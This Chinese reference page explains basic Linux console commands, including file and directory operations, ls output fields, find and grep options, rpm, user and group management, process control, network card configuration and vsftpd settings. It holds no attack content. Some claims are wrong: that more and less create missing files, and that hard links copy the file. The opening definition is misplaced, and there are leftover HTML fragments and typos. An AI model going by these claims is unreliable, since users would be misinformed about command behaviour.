linux命令

linux命令

計算機科學術語
linux命令:功能說明:建立或修改備存文件,或是從備存文件中抽取文件。linux命令是對Linux系統進行管理的命令。對于Linux系統來說,無論是中央處理器、内存、磁盤驅動器、鍵盤、鼠标,還是用戶等都是文件,Linux系統管理的命令是它正常運行的核心,與之前的DOS命令類似。linux命令在系統中有兩種類型:内置Shell命令和Linux命令。
    中文名:linux命令 外文名: 适用領域: 所屬學科: 定義:Linux系統進行管理的命令 類型:内置Shell命令和Linux命令 歸屬:Linux系統進行管理 例如:console

操作命令

首先介紹一個名詞“控制台(console)”,它就是我們通常見到的使用字符操作界面的人機接口,例如dos。我們說控制台命令,就是指通過字符界面輸入的可以操作系統的命令,例如dos命令就是控制台命令。我們現在要了解的是基于Linux操作系統的基本控制台命令。有一點一定要注意,和dos命令不同的是,Linux的命令(也包括文件名等等)對大小寫是敏感的,也就是說,如果你輸入的命令大小寫不對的話,系統是不會做出你期望的響應的。

模式切換

1、 由圖形到字符#logout或init 3

2、由字符到圖形界面init 5

3、退出consolelogout或exit或ctrl+d

4、 注銷Ctrl + Alt + Backspace

5、 關機#poweroff或init 0或shutdown -h now或 halt -p

6、 重啟#reboot或init 6或shutdown -r now

獲得幫助

#help提供内部命令的幫助#man或info提供外部命令的幫助。

如果你的英文足夠好,那完全可以不靠任何人就精通linux,隻要你會用man。Man實際上就是查看指令用法的help,學習任何一種UNIX類的操作系統最重要的就是學會使用man這個輔助命令。man是manual(手冊)的縮寫字,它的說明非常的詳細,但是因為它都是英文,看起來非常的頭痛。建議大家需要的時候再去看man,平常嗎,記得一些基本用法就可以了。

基礎命令

* LINUX圖形界面和命令行界面的切換

進入Ubuntu桌面環境後,可以使用鍵盤上的“Ctrl+Alt+F1~F6“組合鍵來切換不同的tty界面,Linux默認提供了6個命令行界面(F1-F6),比如”Ctrl+Alt+F1″就是切換到tty1:

1 /*最上面顯示的是Ubuntu的版本計算機名稱和tty号*/

2 Ubuntu 12.04.1 LTS qingsword tty1

4 /*輸入用戶名和密碼即可登錄tty1*/

5 qingsword login: root

6 Password:

在命令行模式下,想要切換回圖形界面可以使用組合鍵”Ctrl+Alt+F7“。另外,如果不是從圖形界面切換到tty模式,而是系統啟動時候直接進入的命令行模式,在登陸後可以使用”startx”來啟動圖形界面。

PS:在圖形界面下使用”Ctrl+Alt+T“可以快速啟動Linux的命令行終端。

* 列出目錄中的文件(LS)

在Linux命令行終端中使用的最多的命令就是這個ls,它可以幫助我們列出當前目錄下都有哪些文件,下面是一些實例:

1 /*

2 * 使用pwd,查看當前是在哪個目錄中,

3 * 顯示為“/home/qingsword”,這就是當前命令行所在的目錄。

4 */

5 [qingsword@localhost ~]$ pwd

6 /home/qingsword

8 /*切換到根目錄*/

9 [qingsword@localhost ~]$ cd /

11 /*驗證一下,确實在根目錄下了*/

12 [qingsword@localhost /]$ pwd

13 /

15 /*查看根目錄下面都有哪些文件和文件夾*/

16 [qingsword@localhost /]$ ls

17 bin dev home lost+found mnt proc sbin srv tmp var

18 boot etc lib media opt root selinux sys usr

20 /*可以使用兩個ll詳細輸出,這個命令和ls -l效果相同*/

21 [qingsword@localhost /]$ ll

22 total 78

23 dr-xr-xr-x. 2 root root 4096 Aug 9 01:21 bin

24 dr-xr-xr-x. 5 root root 1024 Aug 8 23:54 boot

25 drwxr-xr-x. 18 root root 3820 Aug 8 17:41 dev

26 drwxr-xr-x. 88 root root 4096 Dec 24 10:39 etc

27 …../*省略部分輸出*/…..

29 /*詳細輸出,并且顯示隐藏的文件和文件夾,或ls -al*/

30 [qingsword@localhost /]$ ll -a

31 total 86

32 dr-xr-xr-x. 21 root root 4096 Aug 8 17:39 .

33 dr-xr-xr-x. 21 root root 4096 Aug 8 17:39 ..

34 -rw-r–r–. 1 root root 0 Aug 8 17:39 .autofsck

35 dr-xr-xr-x. 2 root root 4096 Aug 9 01:21 bin

36 …../*省略部分輸出*/…..

上面為ls常見的用法,下面是一些其他用法:

1 /*

2 * 使用遞歸模式,顯示目錄以及下級子目錄,

3 * 後面的more是當輸出超出終端顯示範圍時,顯示一個more,

4 * 按任意鍵可以繼續顯示下面的内容。

5 */

6 [qingsword@localhost /]$ ls -R | more

8 /*按時間先後顯示*/

9 [qingsword@localhost /]$ ls -t

11 /*橫排輸出,中間用逗号分隔*/

12 [qingsword@localhost /]$ ls -m

14 /*按大小排列,先大後小*/

15 [qingsword@localhost /]$ ls -S

除此之外ls會顯示不同顔色,下面是這些顔色的含義:

藍色—目錄

綠色—可執行文件

紅色—壓縮文件

淺藍色—鍊接文件

粉紅色—圖片文件

黃色—設備文件

灰色—其他文件

可以切換到/dev目錄下用ls查看一下,會看到大部分為設備文件。

* 目錄切換(CD)

使用cd(Change Directory)命令可以在不同目錄之間切換,下面是一些實例:

1 /*當前目錄是根目錄*/

2 [qingsword@localhost /]$ pwd

3 /

5 /*使用cd切換到/dev這個目錄*/

6 [qingsword@localhost /]$ cd /dev

7

8 [qingsword@localhost dev]$ pwd

9 /dev

11 /*查看一下當前目錄下面的文件*/

12 [qingsword@localhost dev]$ ls

14 /*這條命令可以用來跳到前一個工作目錄,即根目錄*/

15 [qingsword@localhost dev]$ cd -

16 /

18 /*跳到當前用戶的家目錄*/

19 [qingsword@localhost /]$ cd ~

20 [qingsword@localhost ~]$ pwd

21 /home/qingsword

23 /*返回上一層目錄*/

24 [qingsword@localhost ~]$ cd ..

25 [qingsword@localhost home]$ pwd

26 /home

* 創建、移動、複制、删除文件的操作

可以使用下面的命令來創建一個目錄,或者嵌套的目錄:

1 /*我在當前用戶的家目錄中,首先創建一個單層目錄*/

2 [qingsword@localhost ~]$ mkdir qing

3 [qingsword@localhost ~]$ ls

4 qing

6 /*試着創建一個嵌套的目錄,提示錯誤*/

7 [qingsword@localhost ~]$ mkdir top/sub/sub2

8 mkdir: cannot create directory `top/sub/sub2′: No such file or directory

10 /*添加-p參數才能創建多層的嵌套目錄*/

11 [qingsword@localhost ~]$ mkdir -p top/sub/sub2

12 [qingsword@localhost ~]$ ls

13 qing top

15 /*

16 * 使用遞歸顯示當前目錄下面文件,

17 * “.”代表當前目錄,下面表示這個目錄下面的子目錄和文件。

18 */

19 [qingsword@localhost ~]$ ls -R

20 .:

21 qing top

23 /*”qing”這個目錄下面是空的,沒有其他文件和文件夾*/

24 ./qing:

26 /*”top”目錄下還有個子目錄”sub”*/

27 ./top:

28 sub

30 /*sub目錄下還有個sub2*/

31 ./top/sub:

32 sub2

34 /*sub2下面是空的*/

35 ./top/sub/sub2:

删除目錄或者文件:

1 /*強制删除剛才創建的top目錄,”rm -rf”後面可以接任何目錄或者文件*/

2 [qingsword@localhost ~]$ rm -rf top

創建文本文件:

1 /*使用touch命令可以創建一個空文本文件*/

2 [qingsword@localhost ~]$ touch testfile

4 /*使用echo命令将hello這幾個字符寫入這個文件中*/

5 [qingsword@localhost ~]$ echo hello>>testfile

7 /*使用more命令顯示這個文件中的内容*/

8 [qingsword@localhost ~]$ more testfile

9 hello

11 /*追加一行,再次顯示*/

12 [qingsword@localhost ~]$ echo My name is QingSword>>testfile

13 [qingsword@localhost ~]$ more testfile

14 hello

15 My name is QingSword

複制文件或文件夾:

1 /*首先創建兩個文件夾*/

2 [qingsword@localhost ~]$ mkdir dir1

3 [qingsword@localhost ~]$ mkdir dir2

4 [qingsword@localhost ~]$ ls

5 dir1 dir2 qing testfile

7 /*将testfile這個文本文件複制到dir2目錄中*/

8 [qingsword@localhost ~]$ cp testfile dir2

9 [qingsword@localhost ~]$ ls dir2

10 testfile

12 /*将dir2目錄複制到dir1目錄中,複制非空目錄要添加參數-r*/

13 [qingsword@localhost ~]$ cp -r dir2 dir1

14 [qingsword@localhost ~]$ ls -R dir1

15 dir1:

16 dir2

18 dir1/dir2:

19 testfile

21 /*

22 * 複制多個目标到一個文件夾中,

23 * 将dir1和dir2這兩個文件夾以及testfile這個文本文件,複制到後面的qing文件夾中。

24 */

25 [qingsword@localhost ~]$ cp -r dir1 dir2 testfile qing

移動目錄或文件(剪切):

1 /*vm可以操作目錄和文件,同樣可以一次性操作多個目标*/

2 [qingsword@localhost ~]$ mv dir1 qing

3 [qingsword@localhost ~]$ ls

4 dir2 qing testfile

6 [qingsword@localhost ~]$ mv testfile dir2 qing

7 [qingsword@localhost ~]$ ls

8 qing

9 [qingsword@localhost ~]$

* 重啟和關機

使用下面的命令重啟和關機(這個命令必須使用root用戶才能執行):

1 /*首先切換到root權限*/

2 [qingsword@localhost ~]$ su

3 Password:

5 /*一分鐘後關機*/

6 [qingsword@localhost ~]# shutdown -h 1

8 /*如果是定時關機,可以打開另外一個終端,使用下面這個命令取消關機*/

9 [qingsword@localhost ~]# shutdown -c

11 /*馬上關機*/

12 [qingsword@localhost ~]# shutdown -h now

14 /*下面這兩條命令也是馬上關機*/

15 [qingsword@localhost ~]# init 0

16 [qingsword@localhost ~]# poweroff

18 /*下面這兩條命令都能馬上重啟*/

19 [qingsword@localhost ~]# reboot

20 [qingsword@localhost ~]# init 6

uniq

–去除重複行

下面的示例演示如何grep的唯一相關的交易,削減不必要的信息,并獲得計數。

jfields$ cat order.out.log | grep "(Kindle|Hardcover)" | cut -d"," -f3 | sort | uniq -c

1 joy of Clojure

2 Patterns of Enterprise Architecture

jfields$ cat order.out.log | grep "(Kindle|Hardcover)" | cut -d"," -f3 | sort | uniq

Joy of Clojure

Patterns of Enterprise Architecture

命令ls

ls [list]

這個命令就相當于dos下的dir命令一樣,這也是Linux控制台命令中最為重要幾個命令之一。Linux上的文件以“.”開頭的文件被系統視為隐藏文件,僅用ls命令是看不到他們的,而用ls -a除了顯示 一般文件名外,連隐藏文件也會顯示出來。

ls -l(這個參數是字母L的小寫,不是數字1)【直接輸入ll 等價于 ls -l的效果】

這個命令可以使用長格式顯示文件内容,如果需要察看更詳細的文件資料,就要用到ls -l這個指令。例如我在某個目錄下鍵入ls -l可能會顯示如下信息(最上面兩行是我自己加的):

位置1 2 3 4 5 6 7

文件屬性文件數 擁有者 所屬者group 文件大小 建檔日期 文件名

drwx------ 2 Guest users 1024 Nov 21 21:05 Mail

-rwx--x--x 1 root root 89080 Nov 7 22:41 tar*

-rwxr-xr-x 1 root bin 5013 Aug 15 9:32 uname*

lrwxrwxrwx 1 root root 4 Nov 24 19:30 zcat->gzip

-rwxr-xr-x 1 root bin 308364 Nov 29 7:43 zsh*

-rwsr-x--- 1 root bin 9853 Aug 15 5:46 su*

下面,我為大家解釋一下這些顯示内容的意義。

第一個欄位,表示文件的屬性。Linux的文件基本上分為三個屬性:可讀(r),可寫(w),可執行(x)。但是這裡有十個格子可以添(具體程序實現時,實際上是十個bit位)。第一個小格是特殊表示格,表示目錄或連結文件等等,d表示目錄,例如drwx------;l表示連結文件,如lrwxrwxrwx;如果是以一橫“-”表示,則表示這是文件。其馀剩下的格子就以每3格為一個單位。因為Linux是多用戶多任務系統,所以一個文件可能同時被許多人使用,所以我們一定要設好每個文件的權限,其文件的權限位置排列順序是(以-rwxr-xr-x為例):

rwx(Owner)r-x(Group)r-x(Other)

這個例子表示的權限是:使用者自己可讀,可寫,可執行;同一組的用戶可讀,不可寫,可執行;其它用戶可讀,不可寫,可執行。另外,有一些程序屬性的執行部分不是X,而是S,這表示執行這個程序的使用者,臨時可以有和擁有者一樣權力的身份來執行該程序。一般出現在系統管理之類的指令或程序,讓使用者執行時,擁有root身份。

第二個欄位,表示文件個數。如果是文件的話,那這個數目自然是1了,如果是空目錄的話,那它的數目就是2,非空目錄等于該目錄中的目錄個數加上2了。

第三個欄位,表示該文件或目錄的擁有者。若使用者目前處于自己的Home,那這一欄大概都是它的賬号名稱。

第四個欄位,表示所屬的組(group)。每一個使用者都可以擁有一個以上的組,不過大部分的使用者應該都隻屬于一個組,隻有當系統管理員希望給予某使用者特殊權限時,才可能會給他另一個組。

第五欄位,表示文件大小。文件大小用byte來表示,而空目錄一般都是1024byte,你當然可以用其它參數使文件顯示的單位不同,如使用ls –k就是用kb來顯示一個文件的大小單位,不過一般我們還是以byte為主。

第六個欄位,表示創建日期。以“月,日,時間”的格式表示,如Aug 15 5:46表示8月15日早上5:46分。

第七個欄位,表示文件名。我們可以用ls –a顯示隐藏的文件名。

ls –F(注意,是大寫的F)

使用這個參數表示在文件的後面多添加表示文件類型的符号,例如*表示可執行,/表示目錄,@表示連結文件,這都是因為使用了-F這個參數。但是現在基本上所有的Linux發行版本的ls都已經内建了-F參數,也就是說,不用輸入這個參數,我們也能看到各種分辨符号。

cd

cd [change directory]

這個命令是用來進出目錄的,它的使用方法和在dos下差不多,但要注意以下兩點:首先,和dos不同的是Linux的目錄對大小寫是敏感的,如果大小寫沒寫對,cd操作不會成功;其次,cd如果直接輸入,cd後面不加任何東西,會回到使用者自己的Home Directory。假設如果是root,則回到/root,與輸入cd ~是一樣的效果。

建新目錄

mkdir、rmdir

mkdir[make directory] rmdir [remove directory]

mkdir命令用來建立新的目錄,

名稱:mkdir

使用權限:于目前目錄有适當權限的所有使用者

使用方式:mkdir[-p] dirName

說明:建立名稱為 dirName 之子目錄。

參數:-p 确保目錄名稱存在,不存在的就建一個。

範例:

在工作目錄下,建立一個名為 AAA 的子目錄 :

mkdirAAA

在工作目錄下的 BBB 目錄中,建立一個名為Test的子目錄。若 BBB目錄原本不存在,則建立一個。(注:本例若不加 -p,且原本 BBB目錄不存在,則産生錯誤。)

mkdir-p BBB/Test

rmdir 用來删除已建立的目錄,

名稱:rmdir

使用權限:于目前目錄有适當權限的所有使用者

使用方式: rmdir [-p] dirName

說明: 删除空的目錄。

參數: -p 是當子目錄被删除後使它也成為空目錄的話,則順便一并删除。

範例:

将工作目錄下,名為 AAA 的子目錄删除 :

rmdir AAA

在工作目錄下的 BBB 目錄中,删除名為 Test 的子目錄。若 Test 删除後,BBB目錄成為空目錄,則 BBB 亦予删除。

rmdir -p BBB/Test

cp

cp[copy]

這個命令相當于dos下面的copy命令,具體用法是:cp –r源文件(source) 目的文件(target)

參數r是指連同源文件中的子目錄一同拷貝。熟悉dos的讀者用起這個命令來會覺得更方便,畢竟比在dos下面要少敲兩下鍵盤。

../ 和 ./ 代表的 是上級目錄以及當前目錄。

這樣運用這兩個命令來完成兩種複制方法。

第一種:處在當前目錄複制當前目錄下文件到别的目錄。

cp_文件名稱_别的文件目錄路徑。"_"是空格

舉個例子 在 orz文件夾下有兩個子文件夾a和b,a中有文件x.c,b中無文件。

此時我們在a文件夾中命令如下:

cp x.c ../b/

第二種:處在當前文件夾下複制另外文件夾下的文件到當前文件夾下。

cp_路徑/文件名稱_./

例子條件同上個例子,命令如下:

cp ../a/x.c ./

rm

rm [remove]

這個命令是用來删除文件的,和dos下面的rm(删除一個空目錄)是有區别的,大家千萬要注意。rm命令常用的參數有三個: -i,-r,-f。

比如我現在要删除一個名字為test的一個文件:rm –i test

系統會詢問我們:“rm:remove ‘test’鳚y”,敲了回車以後,這個文件才會真的被删除。之所以要這樣做,是因為linux不象dos那樣有undelete的命令,或者是可以用pctool等工具将删除過的文件救回來,linux中删除過的文件是救不回來的,所以使用這個參數在删除前讓你再确定一遍,是很有必要的。

rm –r目錄名:這個操作可以連同這個目錄下面的子目錄都删除,功能上和rmdir相似。

rm –f 文件名(目錄名):這個操作可以進行強制删除。

mv

mv[move]

這個命令的功能是移動目錄或文件,引申的功能是給目錄或文件重命名。它的用法同dos下面的move基本相同,這裡不再多講。當使用該命令來移動目錄時,他會連同該目錄下面的子目錄也一同移走。如果你想給一個文件或目錄重命名時可以用以下方法:mv 原文件名(目錄) 新的文件名(目錄)。

dudf

du [disk usage]

du命令可以顯示目前的目錄所占的磁盤空間,df命令可以顯示目前磁盤剩馀的磁盤空間。如果du命令不加任何參數,那麼返回的是整個磁盤的使用情況,如果後面加了目錄的話,就是這個目錄在磁盤上的使用情況(這個功能可是dos沒有的呦)。不過我一般不喜歡用du,因為它給出的信息實在是太多了,我看不過來,而df這個命令我是最常用的,因為磁盤上還剩多少空間對我來說是很重要的。

語法:df [選項]

說明:linux中df命令可顯示所有文件系統對i節點和磁盤塊的使用情況。

該命令各個選項的含義如下:

-a 顯示所有文件系統的磁盤使用情況,包括0塊(block)的文件系統,如/proc文件系統。

-k 以k字節為單位顯示。

-i 顯示i節點信息,而不是磁盤塊。

-t 顯示各指定類型的文件系統的磁盤空間使用情況。

-x 列出不是某一指定類型文件系統的磁盤空間使用情況(與t選項相反)。

-T 顯示文件系統類型。

功能:檢查文件系統的磁盤空間占用情況。可以利用該命令來獲取硬盤被占用了多少空間,目前還剩下多少空間等信息的!

cat

cat[concatenate]

這個命令是linux中非常重要的一個命令,它的功能是顯示或連結一般的ascii文本文件。cat是concatenate的簡寫,類似于dos下面的type命令。它的用法如下:

cat text 顯示text這個文件;

cat file1 file2 依順序顯示file1,file2的内容;

cat "file1" "file2">file3 把file1,file2的内容結合起來,再“重定向(>)”到file3文件中。

“〉”是一個非常有趣的符号,是往右重定向的意思,就是把左邊的結果當成是輸入,然後輸入到file3這個文件中。這裡要注意一點是file3是在重定向以前還未存在的文件,如果file3是已經存在的文件,那麼它本身的内容被複蓋,而變成file1+file2的内容。如果〉左邊沒有文件的名稱,而右邊有文件名,例如:

cat >file1:結果是會“空出一行空白行”,等待你輸入文字,輸入完畢後再按[Ctrl]+[c]或[Ctrl]+[d],就會結束編輯,并産生file1這個文件,而file1的内容就是你剛剛輸入的内容。這個過程和dos裡面的copy con file1的結果是一樣的。

另外,如果你使用如下的指令:

cat file1>>file2:這将變成将file1的文件内容“附加”到file2的文件後面,而file2的内容依然存在,這種重定向符〉〉比〉常用,可以多多利用。

文件指令

對于存在安全漏洞或者配置不當的Linux服務器,同樣面臨攻擊者的威脅,因此,提高安全意識強化安全管理,是Linux管理員不可忽視的事情。

more,less

這是兩個顯示一般文本文件的指令。如果一個文本文件太長了超過一個屏幕的畫面,用cat來看實在是不理想,就可以試試more和less兩個指令。More指令可以使超過一頁的文件臨時停留在屏幕,等你按任何的一個鍵以後,才繼續顯示。而less除了有more的功能以外,還可以用方向鍵往上或往下的滾動文件,所以你随意浏覽,閱讀文章時,less是個非常好的選擇。當more或less文件不存在時,那麼該文件就會自動生個空文件,所以more和less也可以作為創建文件的用法。

more 參數如下:

+num 從第num行開始顯示;

-num 定義屏幕大小,為num行;

+/pattern 從pattern 前兩行開始顯示;

-c 從頂部清屏然後顯示;

-d 提示Press space to continue, 'q' to quit.(按空 鍵繼續,按q鍵退出),禁用響鈴功能;

-l 忽略Ctrl+l (換頁)字符;

-p 通過清除窗口而不是滾屏來對文件進行換頁。和-c參數有點相似;

-s 把連續的多個空行顯示為一行;

-u 把文件内容中的下劃線去掉

less 常用參數

de>-c 從頂部(從上到下)刷新屏幕,并顯示文件内容。而不是通過底部滾動完成刷新;

-f 強制打開文件,二進制文件顯示時,不提示警告;

-i 搜索時忽略大小寫;除非搜索串中包含大寫字母;

-I 搜索時忽略大小寫,除非搜索串中包含小寫字母;

-m 顯示讀取文件的百分比;

-M 顯法讀取文件的百分比、行号及總行數;

-N 在每行前輸出行号;

-p pattern 搜索pattern;比如在/etc/profile搜索單詞MAIL,就用 less -p MAIL /etc/profile

-s 把連續多個空白行作為一個空白行顯示;

-Q 在終端下不響鈴;de>

比如:我們在顯示/etc/profile的内容時,讓其顯示行号;

de>[root@localhost ~]# less -N /etc/profilede>

pwd

pwd [print working directory]

pwd [--help][--version]

說明:執行pwd指令可立刻得知您目前所在的工作目錄的絕對路徑名稱。

清除屏幕

clear

這個命令是用來清除屏幕的,它不需要任何參數,和dos下面的cls具有相同的功能,如果你覺得屏幕太紊亂,就可以使用它清除屏幕上的信息。

ln

ln[link]

這是linux中又一個非常重要命令,請大家一定要熟悉。它的功能是為某一個文件在另外一個位置建立一個不同的鍊接,這個命令最常用的參數是-s,具體用法是:ln –s源文件目标文件。

當我們需要在不同的目錄,用到相同的文件時,我們不需要在每一個需要的目錄下都放一個必須相同的文件,我們隻要在某個固定的目錄,放上該文件,然後在其它的目錄下用ln命令鍊接(link)它就可以,不必重複的占用磁盤空間。例如:ln –s /bin/less /usr/local/bin/less

-s 是代号(symbolic)的意思。

這裡有兩點要注意:第一,ln命令會保持每一處鍊接文件的同步性,也就是說,不論你改動了哪一處,其它的文件都會發生相同的變化;第二,ln的鍊接有軟鍊接和硬鍊接兩種,軟鍊接就是ln –s ** **,它隻會在你選定的位置上生成一個文件的鏡像,不會占用磁盤空間,硬鍊接ln ** **,沒有參數-s, 它會在你選定的位置上生成一個和源文件大小相同的文件,無論是軟鍊接還是硬鍊接,文件都保持同步變化。

如果你用ls察看一個目錄時,發現有的文件後面有一個@的符号,那就是一個用ln命令生成的文件,用ls –l命令去察看,就可以看到顯示的link的路徑了。

grep

用于查找文件中符合字符串的那行。

e.g. grep -nr "network_ssl" ./ [查找當前文件夾下所有文件内容,列出包含有 network_ssl該字串的行,并顯示行号]

參數說明:-a :将 binary 文件以 text 文件的方式搜尋數據

-c :計算找到 '搜尋字符串' 的次數

-i :忽略大小寫的不同,所以大小寫視為相同

-n :順便輸出行号

-v :反向選擇,亦即顯示出沒有 '搜尋字符串' 内容的那一行!

-A NUM:同時輸出匹配行的後NUM行。

-B NUM:同時輸出匹配行的前NUM行。

-C NUM:同時輸出匹配行的前、後各NUM行。

-r :明确要求搜索子目錄:grep -r 或忽略子目錄:grep -d skip 如果有很多 輸出時,您可以通過管道将其轉到’less’上閱讀:$ grep magic /usr/src/Linux/Documentation/* | less 這樣,您就可以更方便地閱讀。

find

find / -name "*.txt" -print 用于查找所有的‘ *.txt’文件在當前目錄及子目錄中;

find / -name "[A-Z]*" -print 用于當前目錄及子目錄中查找文件名以一個大寫字母開頭的文件;

find /etc -name "host*" -print 在/etc目錄中查找文件名以host開頭的文件;

find / -name "[a-z][a-z][0--9][0--9].txt" -print 在當前目錄查找文件名以兩個小寫字母開頭,跟着是兩個數字,最後是.txt的文件;

1、find命令的一般形式為;

find pathname -options [-print -exec -ok ...]

2、find命令的參數;

pathname: find命令所查找的目錄路徑。例如用.來表示當前目錄,用/來表示系統根目錄。

-print: find命令将匹配的文件輸出到标準輸出。

-exec: find命令對匹配的文件執行該參數所給出的shell命令。相應命令的形式為'command' { } ;,注意{ }和;之間的空格。

-ok: 和-exec的作用相同,隻不過以一種更為安全的模式來執行該參數所給出的shell命令,在執行每一個命令之前,都會給出提示,讓用戶來确定是否執行。

3、find命令選項

-name

按照文件名查找文件。

-perm

按照文件權限來查找文件。

-prune

使用這一選項可以使find命令不在當前指定的目錄中查找,如果同時使用-depth選項,那麼-prune将被find命令忽略。

-user

按照文件屬主來查找文件。

-group

按照文件所屬的組來查找文件。

-mtime -n +n

按照文件的更改時間來查找文件, - n表示文件更改時間距現在n天以内,+ n表示文件更改時間距現在n天以前。find命令還有-atime和-ctime 選項,但它們都和-m time選項。

-nogroup

查找無有效所屬組的文件,即該文件所屬的組在/etc/groups中不存在。

-nouser

查找無有效屬主的文件,即該文件的屬主在/etc/passwd中不存在。

-newer file1 ! file2

查找更改時間比文件file1新但比文件file2舊的文件。

-type

查找某一類型的文件,諸如:

b -塊設備文件。

d -目錄。

c -字符設備文件。

p - 管道文件。

l -符号鍊接文件。

f - 普通文件。

-size n:[c] 查找文件長度為n塊的文件,帶有c時表示文件長度以字節計。

-depth:在查找文件時,首先查找當前目錄中的文件,然後再在其子目錄中查找。

-fstype:查找位于某一類型文件系統中的文件,這些文件系統類型通常可以在配置文件/etc/fstab中找到,該配置文件中包含了本系統中有關文件系統的信息。

-mount:在查找文件時不跨越文件系統mount點。

-follow:如果find命令遇到符号鍊接文件,就跟蹤至鍊接所指向的文件。

-cpio:對匹配的文件使用cpio命令,将這些文件備份到磁帶設備中。

另外,下面三個的區别:

-amin n

查找系統中最後N分鐘訪問的文件

-atime n

查找系統中最後n*24小時訪問的文件

-cmin n

查找系統中最後N分鐘被改變文件狀态的文件

-ctime n

查找系統中最後n*24小時被改變文件狀态的文件

-mmin n

查找系統中最後N分鐘被改變文件數據的文件

-mtime n

查找系統中最後n*24小時被改變文件數據的文件

ar

功能說明:建立或修改備存文件,或是從備存文件中抽取文件。

語 法:ar[-dmpqrtx][cfosSuvV][a<成員文件>][b<成員文件>][i<成員文件>][備存文件][成員文件]

補充說明:ar可讓您集合許多文件,成為單一的備存文件。在備存文件中,所有成員文件皆保有原來的屬性與權限。

參 數:

指令參數

-d 删除備存文件中的成員文件。

-m 變更成員文件在備存文件中的次序。

-p 顯示備存文件中的成員文件内容。

-q 将文件附加在備存文件末端。

-r 将文件插入備存文件中。

-t 顯示備存文件中所包含的文件。

-x 自備存文件中取出成員文件。

選項參數

a<成員文件> 将文件插入備存文件中指定的成員文件之後。

b<成員文件> 将文件插入備存文件中指定的成員文件之前。

c 建立備存文件。

f 為避免過長的文件名不兼容于其他系統的ar指令指令,因此可利用此參數,截掉要放入備存文件中過長的成員文件名稱。

i<成員文件> 将文件插入備存文件中指定的成員文件之前。

o 保留備存文件中文件的日期。

s 若備存文件中包含了對象模式,可利用此參數建立備存文件的符号表。

S 不産生符号表。

u 隻将日期較新文件插入備存文件中。

v 程序執行時顯示詳細的信息。

rpm

一種用于互聯網下載包的打包及安裝工具,它包含在某些Linux分發版中。它生成具有.RPM擴展名的文件,與Dpkg類似。

RPM是RedHat Package Manager(RedHat軟件包管理工具)的縮寫,這一文件格式名稱雖然打上了RedHat的标志,但是其原始設計理念是開放式的,現在包括OpenLinux、S.u.S.E.以及Turbo Linux等Linux的分發版本都有采用,可以算是公認的行業标準了。

常用rpm命令

查詢rpm軟件包

#rpm -q軟件包名

#rpm -qa //查詢安裝的所有軟件包

#rpm -qa|grep軟件包字符串

#rpm -qf /bin/命令//查詢命令由哪些軟件包安裝得到

#rpm -qi軟件包名 //查詢軟件包的詳細信息

#rpm -ql軟件包名 //查詢軟件包的安裝位置

軟件包的安裝

#rpm -ivh軟件包

軟件包的升級

#rpm -Uvh軟件包

軟件包的卸載

#rpm -e軟件包名

組的管理

#useradd 用戶名 //創建用戶和組

#passwd 用戶名 //設置用戶密碼

#groupadd組名 //創建組

#usermod–d路徑用戶名 //修改用戶宿主目錄

#usermod–u uid 用戶名 //修改用戶的UID

#usermod-s /bin/[csh] 用戶名 //修改用戶啟動shell

#usermod-G 組名 用戶名 //将用戶加入組, 創建私有組

#usermod-g 組名 用戶名 //用戶加入組但不創建私有組

#gpasswd -a 用戶名 組名 //同-G

#gpasswd -d 用戶名 組名 //将用戶從組中删除

#gpasswd -A 用戶名 組名 //指定用戶成為組的管理員

#usermod-L 用戶名 //鎖定用戶#passwd -l 用戶名 //同上

#usermod-U 用戶名 //解鎖用戶#passwd -u 用戶名 //同上

#usermod-l 新名 原名 //重命名用戶

#groupmod -n 新名 原名 //重命名組

#userdel 用戶名 //删除用戶#userdel –r 用戶名 //徹底删除,包括用戶的宿主目錄

#groupdel組名 //删除組

#passwd -d 用戶名 /删除用戶密碼/

進程服務

查看進程

#ps -aux //查看所有進程(靜态)

#top //查看動态變化的進程

#pstree//查看進程樹

将進程放在後台運行

#命令 &

查看後台運行的進程

#jobs

将後台運行的進程調入前台

#fg 編号

強制結束進程

#kill -9 PID 或#killall -9進程名

init進程是所有進程的父進程其級别如下

0 關機

1 單用戶

2 多用戶字符,但是不支持NFS

3 完全多用戶字符

4 用戶自定義

5圖形

6 重啟

查看服務啟動情況(獨立啟動方式)

#chkconfig --list //查看所有服務的啟動狀态

#chkconfig --list httpd

設置獨立啟動服務

#chkconfig --level 35 httpd on或off

設置非獨立啟動服務

#chkconfig telnet on或off#serVIce xinetd restart

設置服務在開機時自動運行

#ntsysv

網卡設置

1、 設置ip地址(即時生效,重啟失效)

#ifconfig eth0 ip地址 netmask子網掩碼

2、 設置ip地址(重啟生效,永久生效)

#setup

3、 通過配置文件設置ip地址(重啟生效,永久生效)

#vi /etc/sysconfig/network-scripts/ifcfg-eth0

DEVICE=eth0 #設備名,與文件同名。

ONBOOT=yes #在系統啟動時,啟動本設備。

BOOTPROTO=static

IPADDR=202.118.75.91 #此網卡的IP地址

NETMASK=255.255.255.0 #子網掩碼

GATEWAY=202.118.75.1 #網關IP

MACADDR=00:02:2D:2E:8C:A8 #mac地址

4、 重啟網絡服務

#service network restart //重啟所有網卡

5、 禁用網卡,啟動網卡

#ifdown eth0

#ifup eth0

6、 屏蔽網卡,顯示網卡

#ifconfig eth0 down

#ifconfig eth0 up

7、 配置DNS客戶端(最多三個)

#vi /etc/resolv.conf

nameserver 202.99.96.68

8、更改主機名(即時生效)

#hostname主機名

9、更改主機名(重啟計算機生效,永久生效)

#vi /etc/sysconfig/network

HOSTNAME=主機名

服務進程

FTP服務

1 使用setup命令開啟vsftpd服務進程。

2然後修改文件/etc/xinetd.d/vsftpd。(但vsftpd是依附于xinetd.d運行時2、3有效)

(1)把disable=yes改為=no。

(2)配置每個客戶機的最大連接數:

在配置文件/etc/xinetd.d/vsftpd的{}中添加如下的配置語句:

per_source = 數值。例如:per_source = 5 表示每個客戶機的最大連接數為5。

(3)配置服務器總的并發連接數:

在配置文件/etc/xinetd.d/vsftpd 的{}中添加如下的配置語句:

instances = 數值。例如:instances = 200 表示FTP 服務器總共支持的最高連接數為200。

(4)當vsftpd單獨運行時:要配置獨立運行的vsftpd很簡單,隻需要在前面的主配置文件的基礎上添加如下的配置即可。

設置listen=YES :指明vsftpd以獨立運行方式啟動。

設置max_clients=200 :指明服務器總的并發連接數

設置max_per_ip=4 :指明每個客戶機的最大連接數。

3. 配置/etc/vsftpd.conf(redhat9 是/etc/vsftpd/vsftpd.conf)文件。

# 允許真實用戶(在系統中有賬号的用戶)訪問

local_enable=YES

# 給真實用戶寫權限

write_enable=YES

